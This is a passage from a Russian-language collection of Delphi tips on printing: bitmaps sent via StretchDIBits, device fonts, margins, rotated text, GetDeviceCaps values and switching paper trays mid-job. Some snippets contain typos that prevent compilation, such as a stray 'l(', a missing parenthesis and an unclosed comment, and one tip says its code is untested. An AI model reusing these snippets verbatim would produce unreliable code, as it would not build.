  PBITMAPINFOHEADER(pDibHeader)^.biWidth := ABitmap.width;
  PBITMAPINFOHEADER(pDibHeader)^.biHeight := ABitmap.height;
  PBITMAPINFOHEADER(pDibHeader)^.biCompression := BI_RGB;
  {find out how much memory for the bits}
  GetDIBits(dc, ABitmap.Handle, 0, ABitmap.height, nil, TBitmapInfo(pDibHeader^),
    DIB_RGB_COLORS);
  {Alloc memory for the bits}
  hBits := GlobalAlloc(GHND, PBitmapInfoHeader(pDibHeader)^.BiSizeImage);
  {Get a pointer to the bits}
  pBits := GlobalLock(hBits);
  {Call fn again, but this time give us the bits!}
  GetDIBits(dc, ABitmap.Handle, 0, ABitmap.height, pBits, PBitmapInfo(pDibHeader)^,
    DIB_RGB_COLORS);
  {Release the screen dc}
  ReleaseDc(0, dc);
  {Just incase the printer drver is a palette device}
  isDcPalDevice := false;
  if GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and RC_PALETTE = RC_PALETTE then
  begin
    {Create palette from dib}
    GetMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)));
    FillChar(pPal^, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)), #0);
    pPal^.palVersion := $300;
    pPal^.palNumEntries := 256;
    for i := 0 to (pPal^.PalNumEntries - 1) do
    begin
      pPal^.palPalEntry[i].peRed := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed;
      pPal^.palPalEntry[i].peGreen := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen;
      pPal^.palPalEntry[i].peBlue := PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue;
    end;
    pal := CreatePalette(pPal^);
    FreeMem(pPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)));
    oldPal := SelectPalette(Printer.Canvas.Handle, Pal, false);
    isDcPalDevice := true
  end;
  {send the bits to the printer}
  StretchDiBits(Printer.Canvas.Handle, R.Left, R.Top, R.Right - R.Left,
    R.Bottom - R.Top, 0, 0, ABitmap.Width, ABitmap.Height, pBits,
    PBitmapInfo(pDibHeader)^, DIB_RGB_COLORS, SRCCOPY);
  {Just incase you printer drver is a palette device}
  if isDcPalDevice = true then
  begin
    SelectPalette(Printer.Canvas.Handle, oldPal, false);
    DeleteObject(Pal);
  end;
  {Clean up allocated memory}
  GlobalUnlock(hBits);
  GlobalFree(hBits);
  GlobalUnlock(hDibHeader);
  GlobalFree(hDibHeader);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как вместо печати графики использовать резидентный шрифт принтера?

Используте функцию Windows API - GetStockObject() чтобы получить дескриптор (handle) шрифта по умолчанию устройства (DEVICE_DEFAULT_FONT) и передайте его Printer.Font.Handle.

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
  tm: TTextMetric;
  i: integer;
begin
  if PrintDialog1.Execute then
    begin
      Printer.BeginDoc;
      Printer.Canvas.Font.Handle := GetStockObject(DEVICE_DEFAULT_FONT);
      GetTextMetrics(Printer.Canvas.Handle, tm);
      for i := 1 to 10 do
        begin
          Printer.Canvas.TextOut(100, i * tm.tmHeight +
            tm.tmExternalLeading, 'Test');
        end;
      Printer.EndDoc;
    end;
end;


Хитрости печати

const INCHES_PER_MILIMETER: Real = 0.04;

type

  TOffset = record
    X, Y: Integer;
  end;

var FDeviceName: string; {Имя устройства}

  FPageHeightPixel, FPageWidthPixel: Integer; {Высота и ширина страницы}
  FOrientation: TPrinterOrientation; {Ориентация}
  FPrintOffsetPixels: TOffset;
  FPixelsPerMMX, FPixelsPerMMY: Real;
  MMSize, FPageHeightMM: Integer;
  TheReport, TheHead, HeadLine, RecordLine, TFname, TLname: string;

procedure TMissing_Rep.GetDeviceSettings;

var

  retval: integer;
  PixX, PixY: Integer;

begin

  FDeviceName := Printer.Printers[Printer.PrinterIndex]; {Получаем имя}
  FPageHeightPixel := Printer.PageHeight; {Получаем высоту страницы}
  FPageWidthPixel := Printer.PageWidth; {Получаем ширину страницы}
  FOrientation := Printer.Orientation;
{Ориентация}

{Получаем отступ при печати (поля страницы)}
{$IFDEF WIN32}
  FPrintOffsetPixels.X := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);
  FPrintOffsetPixels.Y := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);
{$ELSE}
  retval := Escape(Printer.Handle, GETPRINTINGOFFSET,
    0, nil, @FPrintOffsetPixels);
{$ENDIF}
{Получаем количество пикселей, печатаемое на миллиметре бумаги}
  PixX := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
  PixY := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
  FPixelsPerMMX := INCHES_PER_MILIMETER * PixX;
  FPixelsPerMMY := INCHES_PER_MILIMETER * PixY;
  FPageHeightMM := Round(FPageHeightPixel / FPixelsPerMMY);
end;

function TMissing_Rep.PutText(mmX, mmY: Integer; S: string; LeftAlign:
  Boolean): boolean;
var

  X, Y: Integer;
  align: WORD;
begin

  if LeftAlign then
    align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_LEFT)
  else
    align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_RIGHT);
  result := FALSE; {Вначале присваиваем флаг неудачи при выполнении функции}
  X := Trunc(mmX * FPixelsPerMMX) - FPrintOffsetPixels.X;
  Y := Trunc(mmY * FPixelsPerMMY) - FPrintOffsetPixels.Y;
  if X < 0 then exit;
  if Y < 0 then exit;
  Printer.Canvas.TextOut(X, Y, S);
  result := TRUE;
end;

procedure TMissing_Rep.Print_ButClick(Sender: TObject);

var PixelSize: Integer;

begin
  Print_But.Enabled := False;
  if PrintDialog1.Execute then

    begin
      Printer.Canvas.Font := Missing_Rep.Font;
      PixelSize := Printer.Canvas.TextHeight('Yy');
      MMSize := Round(PixelSize / FPixelsPerMMY);
      Printer.Title := 'Отчет';
      Printer.BeginDoc; { начинаем пересылать задание на печать }
      PrintGenerator;
      Printer.EndDoc; { EndDoc заканчивает задание печати }
    end;
  Print_But.Enabled := True;
end;

procedure TMissing_Rep.PrintGenerator;

var

  yLoc, NumRows, TheRow: Integer;

  procedure Heading;
  begin
    yLoc := 20;
    PutText(20, 20, TheHead, TRUE);
    yLoc := yLoc + MMSize;
    PutText(20, yLoc, StringGrid1.Cells[0, 0], TRUE);
    PutText(60, yLoc, StringGrid1.Cells[1, 0], TRUE);
    PutText(100, yLoc, StringGrid1.Cells[2, 0], TRUE);
    PutText(120, yLoc, StringGrid1.Cells[3, 0], TRUE);
    PutText(150, yLoc, StringGrid1.Cells[4, 0], TRUE);
    yLoc := yLoc + MMSize;
  end;

  procedure Footer;
  begin
    PutText(100, FPageHeightMM, InttoStr(Printer.PageNumber), TRUE);
  end;

begin

  Heading;
  TheRow := 1;
  while (TheRow < StringGrid1.RowCount) do
    begin
      if (yLoc > (FPageHeightMM - MMSize)) then
        begin
          Footer;
          Printer.NewPage;
          Heading;
        end;
      TheGauge.Progress := Round(100 * TheRow / (StringGrid1.RowCount - 1));
      PutText(20, yLoc, StringGrid1.Cells[0, TheRow], TRUE);
      PutText(60, yLoc, StringGrid1.Cells[1, TheRow], TRUE);
      PutText(100, yLoc, StringGrid1.Cells[2, TheRow], TRUE);
      PutText(120, yLoc, StringGrid1.Cells[3, TheRow], TRUE);
      PutText(150, yLoc, StringGrid1.Cells[4, TheRow], TRUE);
      yLoc := yLoc + MMSize;
      TheRow := TheRow + 1;
    end;
  Footer;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать повернутого текста

procedure AngleTextOut(CV: TCanvas; const sText: string; x, y, angle: integer);
var
  LogFont: TLogFont;
  SaveFont: TFont;
begin
  SaveFont := TFont.Create;
  SaveFont.Assign(CV.Font);
  GetObject(SaveFont.Handle, sizeof(TLogFont), @LogFont);
  with LogFont do
    begin
      lfEscapement := angle * 10;
      lfPitchAndFamily := FIXED_PITCH or FF_DONTCARE;
    end; {with}
  CV.Font.Handle := CreateFontIndirect(LogFont);
  SetBkMode(CV.Handle, TRANSPARENT);
  CV.TextOut(x, y, sText);
  CV.Font.Assign(SaveFont);
  SaveFont.Free;
end;

procedure TextOutVertical(var bitmap: TBitmap; x, y: Integer; s: string);
var b1, b2: TBitmap;
  i, j: Integer;
begin
  with bitmap.Canvas do
    begin
      b1 := TBitmap.Create;
      b1.Canvas.Font := lpYhFont;
      b1.Width := TextWidth(s) + 1;
      b1.Height := TextHeight(s) + 1;
      b1.Canvas.TextOut(1, 1, s);
      b2 := TPackedBitmap.Create;
      b2.Width := TextHeight(s);
      b2.Height := TextWidth(s);
      for i := 0 to b1.Width - 1 do
        for j := 0 to b1.Height do
          b2.Canvas.Pixels[j, b2.Height + 1 - i] := b1.Canvas.Pixels[i, j];
      Draw(x, y, b2);
      b1.Free;
      b2.Free;
    end
end;

Некоторое время я делал так: я создавал шрифт, выбирал его в DC...

function CreateMyFont(degree: Integer): HFONT;
begin
  CreateMyFont := CreateFont(
    -30, 0, degree, 0, 0,
    0, 0, 0, 1, OUT_TT_PRECIS,
    0, 0, 0, szFontName);
end;

....и затем использовал любую функцию рисования для вывода текста.

Приведенное выше решение(1)очень медленно, так как требует рисования текста и содержит, на мой взгляд, неэффективный метод вращения.Попробуйте взамен это:

procedure TForm1.TextUp(aRect: tRect; aTxt: string);
var LFont: TLogFont;
  hOldFont, hNewFont: HFont;
begin
  GetObject(Canvas.Font.Handle, SizeOf(LFont), Addr(LFont));
  LFont.lfEscapement := 900;
  hNewFont := CreateFontIndirect(LFont);
  hOldFont := SelectObject(Canvas.Handle, hNewFont);
  Canvas.TextOut(aRect.Left + 2, aRect.Top, aTxt);
  hNewFont := SelectObject(Canvas.Handle, hOldFont);
  DeleteObject(hNewFont);
end;

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Растягивание изображения при печати

Я пишу программу, которая печатает изображение на принтере с помощью объекта TPrinter. Проблема происходит когда я пытаюсь "растянуть" изображение до требуемого размера на бумаге. Мой метод растяжения (bitblts и принтерном DC) приводит к белым кляксам, а само изображение получается практически серым. Конечно это не то, что мне хотелось. Кто-нибудь может мне помочь?

Попробуй это:

procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap:
  TBitmap);
var

  Header, Bits: Pointer;
  HeaderSize: Integer;
  BitsSize: Longint;
begin
  GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize);
  Header := MemAlloc(HeaderSize);
  Bits := MemAlloc(BitsSize);
  try
    GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^);
    StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top,
      DestRect.Right, DestRect.Bottom,
      0, 0, ABitmap.Width, ABitmap.Height, Bits, TBitmapInfo(Header^),
      DIB_RGB_COLORS, SRCCOPY);
{ вам может понадобиться цветовой стандарт DIB_PAL_COLORS,
но это уже выходит за рамки моих знаний. }
  finally
    MemFree(Header, HeaderSize);
    MemFree(Bits, BitsSize);
  end;
end;

{ Печатаем изображение, растягивая его до целого листа }

procedure PrintBitmap(ABitmap: TBitmap);
var
  relheight, relwidth: integer;
begin
  screen.cursor := crHourglass;
  Printer.BeginDoc;
  if ((ABitmap.width / ABitmap.height) > l(printer.pagewidth / printer.pageheight)) then
    begin
{ Растягиваем ширину изображения до ширины бумаги }
      relwidth := printer.pagewidth;
      relheight := MulDiv(ABitmap.height, printer.pagewidth, ABitmap.width);
    end
  else
    begin
{ Растягиваем высоту изображения до высоты бумаги }
      relwidth := MulDiv(ABitmap.width, printer.pageheight, ABitmap.height);
      relheight := printer.pageheight;
    end;
  DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), ABitmap);
  Printer.EndDoc;
  screen.cursor := crDefault;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как распечатать TImage?

uses
  Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
  ScaleX, ScaleY: Integer;
  RR: TRect;
begin
  with Printer do
  begin
    BeginDoc;
    // The StartDoc function starts a print job.
    try
      ScaleX := GetDeviceCaps(Handle, logPixelsX) div PixelsPerInch;
      ScaleY := GetDeviceCaps(Handle, logPixelsY) div PixelsPerInch;
      // Retrieves information about the Pixels per Inch of the Printer.
      RR := Rect(0, 0, Image1.picture.Width * scaleX, Image1.Picture.Height * ScaleY);
      Canvas.StretchDraw(RR, Image1.Picture.Graphic);
      // Stretch to fit

    finally
      EndDoc;
    end;
  end;
end;

// Based on posting to borland.public.delphi.winapi by Rodney E Geraghty, 8/8/97.

procedure PrintBitmap(Canvas: TCanvas; DestRect: TRect; Bitmap: TBitmap);
var
  BitmapHeader: pBitmapInfo;
  BitmapImage: Pointer;
  HeaderSize: DWORD;
  ImageSize: DWORD;
begin
  GetDIBSizes(Bitmap.Handle, HeaderSize, ImageSize);
  GetMem(BitmapHeader, HeaderSize);
  GetMem(BitmapImage, ImageSize);
  try
    GetDIB(Bitmap.Handle, Bitmap.Palette, BitmapHeader^, BitmapImage^);
    StretchDIBits(Canvas.Handle,
      DestRect.Left, DestRect.Top,    // Destination Origin
      DestRect.Right - DestRect.Left, // Destination Width
      DestRect.Bottom - DestRect.Top, // Destination Height
      0, 0,                           // Source Origin
      Bitmap.Width, Bitmap.Height,    // Source Width & Height
      BitmapImage,
      TBitmapInfo(BitmapHeader^),
      DIB_RGB_COLORS,
      SRCCOPY)
  finally
    FreeMem(BitmapHeader);
    FreeMem(BitmapImage)
  end
end {PrintBitmap};

// from www.experts-exchange.com

uses
  printers;

procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap: TBitmap);
var
  Header, Bits: Pointer;
  HeaderSize: DWORD;
  BitsSize: DWORD;
begin
  GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize);
  Header := AllocMem(HeaderSize);
  Bits := AllocMem(BitsSize);
  try
    GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^);
    StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top,
      DestRect.Right, DestRect.Bottom,
      0, 0, ABitmap.Width, ABitmap.Height, Bits, TBitmapInfo(Header^),
      DIB_RGB_COLORS, SRCCOPY);
  finally
    FreeMem(Header, HeaderSize);
    FreeMem(Bits, BitsSize);
  end;
end;

procedure PrintImage(Image: TImage; ZoomPercent: Integer);
  // if ZoomPercent=100, Image will be printed across the whole page
var
  relHeight, relWidth: integer;
begin
  Screen.Cursor := crHourglass;
  Printer.BeginDoc;
  with Image.Picture.Bitmap do
  begin
    if ((Width / Height) > (Printer.PageWidth / Printer.PageHeight)) then
    begin
      // Stretch Bitmap to width of PrinterPage
      relWidth := Printer.PageWidth;
      relHeight := MulDiv(Height, Printer.PageWidth, Width);
    end
    else
    begin
      // Stretch Bitmap to height of PrinterPage
      relWidth  := MulDiv(Width, Printer.PageHeight, Height);
      relHeight := Printer.PageHeight;
    end;
    relWidth := Round(relWidth * ZoomPercent / 100);
    relHeight := Round(relHeight * ZoomPercent / 100);
    DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), Image.Picture.Bitmap);
  end;
  Printer.EndDoc;
  Screen.cursor := crDefault;
end;

// Example Call:

procedure TForm1.Button1Click(Sender: TObject);
begin
  // Print image at 40% zoom:
  PrintImage(Image1, 40);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Сохранение точных размеров при печати

Приведенный ниже модуль демонстрирует принцип использования GetDeviceCaps для получения исчерпывающей информации о вашем принтере, включая HORZRES и VERTRES (горизонтальное и вертикальное разрешение в пикселах) на дюйм бумаги. Используя значения LOGPIXELSX и LOGPIXELSY, вы можете откалибровать принтер для точного задания количества точек на дюйм в горизонтальном и вертикальном направлениях.

В дополнение к информации о принтере, приведенный модуль демонстрирует способ печати, при котором изображение выводится на принтер "естественного" размера; также показана возможность размещения изображения на бумаге в определенной позиции и определенного размера (т.е. с применением масштабирования). Я думаю это должно вам помочь в деле управления принтером.

Пример также демонстрирует вывод на печать синусной кривой в конкретной позиции печати с заданными в дюймах размерами. Я думаю вы без труда разберетесь как перейти на метрическую систему размеров.

unit Tstpr2fm;

{Пример использования объекта Printer из модуля TPrinter.

Приведен избыточный стиль программирования для облегчения
восприятия материала.

Демонстрация величин, возвращаемых функцией Windows API GetDeviceCaps.

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)
Print: TButton;
Image1: TImage;
procedure PrintClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var

  Form1: TForm1;

implementation

uses
  Printers;

{Константы WINAPI GetDeviceCaps получены из C++ windows.h и wingdi.h}

{Отдельные константы здесь приведены только для информации о их наличии}
const
  DRIVERVERSION = 0;
  TECHNOLOGY = 2; {Смотри windows.h для значения маски}
  HORZSIZE = 4;
  VERTSIZE = 6;
  HORZRES = 8;
  VERTRES = 10;
  BITSPIXEL = 12;
  PLANES = 14;
  NUMBRUSHES = 16;
  NUMPENS = 18;
  NUMMARKERS = 20;
  NUMFONTS = 22;
  NUMCOLORS = 24;
  PDEVICESIZE = 26;
  CURVECAPS = 28; {Смотри windows.h для значения маски}
  LINECAPS = 30; {Смотри windows.h для значения маски}
  POLYGONALCAPS = 32; {Смотри windows.h для значения маски}
  TEXTCAPS = 34; {Смотри windows.h для значения маски}
  CLIPCAPS = 36; {Смотри windows.h для значения маски}
  RASTERCAPS = 38; {Смотри windows.h для значения маски}
  ASPECTX = 40;
  ASPECTY = 42;
  ASPECTXY = 44;

  LOGPIXELSX = 88;
  LOGPIXELSY = 90;

  SIZEPALETTE = 104;
  NUMRESERVED = 106;
  COLORRES = 108;

  PHYSICALWIDTH = 110; {Смотри определение в windows.h}
  PHYSICALHEIGHT = 111; {Смотри определение в windows.h}
  PHYSICALOFFSETX = 112; {Смотри определение в windows.h}
  PHYSICALOFFSETY = 113; {Смотри определение в windows.h}
  SCALINGFACTORX = 114; {Смотри определение в windows.h}
  SCALINGFACTORY = 115; {Смотри определение в windows.h}

  DeviceCapsString: array[1..34] of string =
  ('DRIVERVERSION', 'TECHNOLOGY', 'HORZSIZE',
    'VERTSIZE', 'HORZRES', 'VERTRES',
    'BITSPIXEL', 'PLANES', 'NUMBRUSHES',
    'NUMPENS', 'NUMMARKERS', 'NUMFONTS',
    'NUMCOLORS', 'PDEVICESIZE', 'CURVECAPS',
    'LINECAPS', 'POLYGONALCAPS', 'TEXTCAPS',
    'CLIPCAPS', 'RASTERCAPS', 'ASPECTX',
    'ASPECTY', 'ASPECTXY', 'LOGPIXELSX',
    'LOGPIXELSY', 'SIZEPALETTE', 'NUMRESERVED',
    'COLORRES', 'PHYSICALWIDTH', 'PHYSICALHEIGHT',
    'PHYSICALOFFSETX', 'PHYSICALOFFSETY', 'SCALINGFACTORX',
    'SCALINGFACTORY');

  DeviceCapsIndex: array[1..34] of INTEGER =
  (0, 2, 4, 6, 8, 10, 12, 14, 16, 18,
    20, 22, 24, 26, 28, 30, 32, 34, 36, 38,
    40, 42, 44, 88, 90, 104, 106, 108, 110, 111,
    112, 113, 114, 115);

{$R *.DFM}

function iPosition(const i: INTEGER): INTEGER;
begin

  RESULT := Integer(i * LongInt(Printer.PageWidth) div 1000)
end {iPosition};

function jPosition(const j: INTEGER): INTEGER;
begin

  RESULT := Integer(j * LongInt(Printer.PageHeight) div 1000)
end {jPosition};

procedure TForm1.PrintClick(Sender: TObject);

var
  DestinationRectangle: TRect;
  GraphicAspectRatio: DOUBLE;
  i: INTEGER;
  j: INTEGER;
  iBase: INTEGER;
  iPixelsPerInch: WORD;
  jBase: INTEGER;
  jDelta: INTEGER;
  jPixelsPerInch: WORD;
  OffScreen: TBitMap;
  PixelAspectRatio: DOUBLE;
  SourceRectangle: TRect;
  TargetRectangle: TRect;
  value: INTEGER;
  x: DOUBLE;
  y: DOUBLE;
begin

  Printer.Orientation := poLandscape;
  Printer.BeginDoc;

{Делаем прямоугольник для показа полей}
  Printer.Canvas.Rectangle(0, 0, Printer.PageWidth, Printer.PageHeight);

{Свойства принтера и страницы}
  Printer.Canvas.Font.Name := 'Times New Roman';
  Printer.Canvas.Font.Size := 12;
  Printer.Canvas.Font.Style := [fsBold];
  Printer.Canvas.TextOut(iPosition(50), jPosition(40), 'Свойства принтера и страницы');

  Printer.Canvas.Font.Style := [];
  Printer.Canvas.Font.Size := 10;
  iBase := iPosition(50);
  jBase := 60;
  jDelta := 18;
  Printer.Canvas.TextOut(iPosition(50), jPosition(jBase),
    Printer.Printers.Strings[Printer.PrinterIndex]);
  INC(jBase, jDelta);

  Printer.Canvas.TextOut(iBase, jPosition(jBase),
    'Пикселей:  ' + IntToStr(Printer.PageWidth) + ' X ' +
    IntToStr(Printer.PageHeight));
  INC(jBase, jDelta);

  Printer.Canvas.TextOut(iBase, jPosition(jBase),
    'Дюймов:  ' + FormatFloat('0.000',
    Printer.PageWidth / Printer.Canvas.Font.PixelsPerInch) + ' X ' +
    FormatFloat('0.000',
    Printer.PageHeight / Printer.Canvas.Font.PixelsPerInch));
  INC(jBase, 2 * jDelta);

  Printer.Canvas.TextOut(iBase, jPosition(jBase),
    'Шрифт:  ' + Printer.Canvas.Font.Name + '   Размер:  ' +
    IntToStr(Printer.Canvas.Font.Size));
  INC(jBase, jDelta);

  Printer.Canvas.TextOut(iBase, jPosition(jBase),
    'Пикселей в дюйме:  ' + IntToStr(Printer.Canvas.Font.PixelsPerInch));
  INC(jBase, jDelta);

  Printer.Canvas.TextOut(iBase, jPosition(jBase),
    '`ТЕКСТ`:  ' + IntToStr(Printer.Canvas.TextWidth('ТЕКСТ')) + ' X ' +
    IntToStr(Printer.Canvas.TextHeight('ТЕКСТ')) + '
    пикселей');

{Значения GetDeviceCaps}
    INC(jBase, 2 * jDelta);
    Printer.Canvas.Font.Size := 12;
    Printer.Canvas.Font.Style := [fsBold];
    Printer.Canvas.TextOut(iBase, jPosition(jBase), 'GetDeviceCaps');
    INC(jBase, jDelta);

    Printer.Canvas.Font.Size := 10;
    Printer.Canvas.Font.Style := [];

    for j := LOW(DeviceCapsIndex) to HIGH(DeviceCapsIndex) do
      begin
        value := GetDeviceCaps(Printer.Handle, DeviceCapsIndex[j]);
        Printer.Canvas.TextOut(iBase, jPosition(jBase), DeviceCapsString[j]);

        if (DeviceCapsIndex[j] < 28) or (DeviceCapsIndex[j] > 38) then
          Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%-8d', [value]))
        else
          Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%.4x', [value]));

        INC(jBase, jDelta);

      end;

{Помещаем изображение в левый нижний угол}
    Printer.Canvas.Draw(iPosition(300), jPosition(100),
    Form1.Image1.Picture.Graphic);

{Помещаем то же изображение, имеющее ширину 1" и пропорциональную
высоту в позиции 4"-правее и 1"-ниже верхнего левого угла}
    GraphicAspectRatio := Form1.Image1.Picture.Height /
    Form1.Image1.Picture.Width;

    iPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
    jPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
    PixelAspectRatio := jPixelsPerInch / iPixelsPerInch;

    TargetRectangle := Rect(4 * iPixelsPerInch, {4"}
    jPixelsPerInch, {1"}
    6 * iPixelsPerInch, {6" -- 2" ширина}
    jPixelsPerInch +
    TRUNC(2 * iPixelsPerInch * GraphicAspectRatio *
    PixelAspectRatio));

    Printer.Canvas.TextOut(4 * iPixelsPerInch, jPixelsPerInch -
    Printer.Canvas.TextHeight('X'),
    '2" ширина от (4", 1")');
    Printer.Canvas.StretchDraw(TargetRectangle, Form1.Image1.Picture.Graphic);

{Создаем изображение в памяти и затем копируем его на холст принтера}
    SourceRectangle := Rect(0, 0, 3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1);

{Это не должно работать!  Rectangle = Left, Top, Right, Bottom
Top и Bottom считаются зарезервированными?}
    DestinationRectangle := Rect(4 * iPixelsPerInch, 6 * jPixelsPerInch,
    7 * iPixelsPerInch - 1, 4 * jPixelsPerinch - 1);

    Printer.Canvas.TextOut(4 * iPixelsPerInch, 4 * jPixelsPerInch -
    Printer.Canvas.TextHeight('X'),
    IntToStr(3 * iPixelsPerInch) + ' пикселей на ' +
    IntToStr(2 * jPixelsPerInch) + ' пикселей -- ' +
    '3"-на-2" в (4",4")');

    OffScreen := TBitMap.Create;
    try
      OffScreen.Width := SourceRectangle.Right + 1;
      OffScreen.Height := SourceRectangle.Bottom + 1;
      with OffScreen.Canvas do
        begin
          Pen.Color := clBlack;
          Brush.Color := clWhite;
          Rectangle(0, 0, 3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1);
          Brush.Color := clRed;
          MoveTo(0, 0);
          LineTo(3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1);

          Brush.Color := clBlue;
          MoveTo(0, 0);
          for i := 0 to 3 * iPixelsPerInch - 1 do
            begin
              x := 12 * PI * (i / (3 * iPixelsPerInch - 1));
              y := jPixelsPerInch + jPixelsPerInch * SIN(x);
              LineTo(i, TRUNC(y));
            end

        end;

      Printer.Canvas.CopyRect(DestinationRectangle, OffScreen.Canvas,
        SourceRectangle);
    finally
      OffScreen.Free
    end;

{Список шрифтов для данного принтера}
    iBase := iPosition(750);
    Printer.Canvas.Font.Name := 'Times New Roman';
    Printer.Canvas.Font.Size := 12;
    Printer.Canvas.Font.Style := [fsBold];
    Printer.Canvas.TextOut(iBase, jPosition(40), 'Шрифты');

    Printer.Canvas.Font.Style := [];
    Printer.Canvas.Font.Size := 10;
    jDelta := 16;
    for j := 0 to Printer.Fonts.Count - 1 do
      begin
        Printer.Canvas.TextOut(iBase, jPosition(60 + jDelta * j), Printer.Fonts.Strings[j])
      end;

    Printer.EndDoc;

end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Изменение свойств печати во время ее выполнения

Как разрешить изменения свойств принтера (например, лоток с бумагой, ориентация и др.) между страницами печати одного документа в шести шагах.

(В совете также приведен пример изменения поддона с бумагой...)

*** ШАГИ ***
Создайте копию модуля Printers.pas и переименуйте его в NewPrint.pas.

***НЕ делайте изменения в самом модуле Printers.pas, если вы сделаете это, то получите во время компиляции приложения ошибку "Unable to find printers.pas" (не могу найти printer.pas). (Я уже получае ее, поэтому и упоминаю об этом здесь...)***

Переместите модуль NewPrint.pas в директорию Lib.

(Используйте "C:\Program Files\Borland\Delphi Х\Lib" )

Измените ИМЯ МОДУЛЯ на NewPrint.pas

с:
    unit Printers

на:
    unit NewPrint

Добавьте декларацию следующего PUBLIC метода класса TPrinter в секции Interface модуля NewPrint.pas:

    procedure NewPageDC(DM: PDevMode);

Добавьте следующую процедуру в секцию реализации NewPrint.pas:

procedure TPrinter.NewPageDC(DM: PDevMode);
begin
  CheckPrinting(True);
  EndPage(DC);
{Проверяем наличие новых установок для принтера}
  if Assigned(DM) then
    ResetDC(DC, DM^);
  StartPage(DC);
  Inc(FPageNumber);
  Canvas.Refresh;
end;

Вместо добавления "Printers" в секцию USES вашего приложения (список используемых модулей), добавьте "NewPrint".

Теперь вдобавок к старым методам (таким как BeginDoc, EndDoc, NewPage и др.), у вас появилась возможность изменения свойств принтера "на лету", т.е. между страницами при печати одного и того же документа. (Пример приведен ниже.)
Вместо вызова:

    Printer.NewPage;

напишите:

    Printer.NewPageDC(DevMode);

Вот небольшой пример:

procedure TForm1.Button1Click(Sender: TObject);
var
  ADevice, ADriver, APort: array[0..255] of char;
  ADeviceMode: THandle;
  DevMode: PDevMode;
begin
  with Printer do
    begin
      GetPrinter(ADevice, ADriver, APort, ADeviceMode);
      SetPrinter(ADevice, ADriver, APort, 0);
      GetPrinter(ADevice, ADriver, APort, ADeviceMode);
      DevMode := GlobalLock(ADeviceMode);
      if not Assigned(DevMode) then
        ShowMessage('Не могу установить принтер.')
      else
        begin
          with DevMode^ do
            begin
{Применяем здесь любые настройки, необходимые для изменения установок печати}
              dmDefaultSource := DMBIN_UPPER;
{этот код приведен в "Windows.pas"}
            end;
          GlobalUnlock(ADeviceMode);
          SetPrinter(ADevice, ADriver, APort, ADeviceMode);
        end;
    end;
  Printer.BeginDoc;
  Printer.Canvas.TextOut(50, 50, 'Эта страница печатается из ВЕРХНЕГО ЛОТКА.');
  with DevMode^ do
    begin
{Применяем здесь любые настройки, необходимые для изменения установок печати}
      dmDefaultSource := DMBIN_LOWER;
{этот код приведен в "Windows.pas"}
    end;
  Printer.NewPageDC(DevMode);
  Printer.Canvas.TextOut(50, 50, 'Эта страница печатается из НИЖНЕГО ЛОТКА.');
  Printer.EndDoc;
end;

Примечание от автора:

Я использовал это во многих своих программах, поэтому я уверен в работоспособности кода.

Данный кода был создан в Delphi Client/Server 2.01 под WinNT 4.0, но впоследствии был
проверен на других версиях Delphi, а также под Windows95.
Правда я еще не поробовал его под Delphi 4... Если вы имеете любые комментарии или улучшения,
не постесняйтесь отправить их мне...
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать ячеек

У кого-нибудь есть пример кода печати в заданной ячейке? Типа PrintAt(row,col,"Text")?
Вот некоторый код, который я нашел после блужданий в группах новостей. Правда сам я его не проверял, но источник утверждает, что он работает. Так что будьте внимательны!

Procedure TForm1.PrintTableClick(Sender: TObject);
var
  xcord: integer;
  ycord: integer;
  recordbuffer: string;
begin
  xcord := 10;
  ycord := 10;
  Table1.First;
  Printer.BeginDoc;
  Printer.Canvas.Font.Name := 'Courier New';
  while not Table1.EOF do
    begin
      recordbuffer := concat((Table1.Fields[0].AsString), ' ', (Table1.Fields[1].AsString));
      recordbuffer := recordbuffer + concat(' ', (Table1.Fields[2].AsString);
{пока все поля не будут в recordbuffer}
        Printer.Canvas.TextOut(xcord, ycord, recordbuffer);
        ycord := ycord + 50;
        Table1.next;
    end;
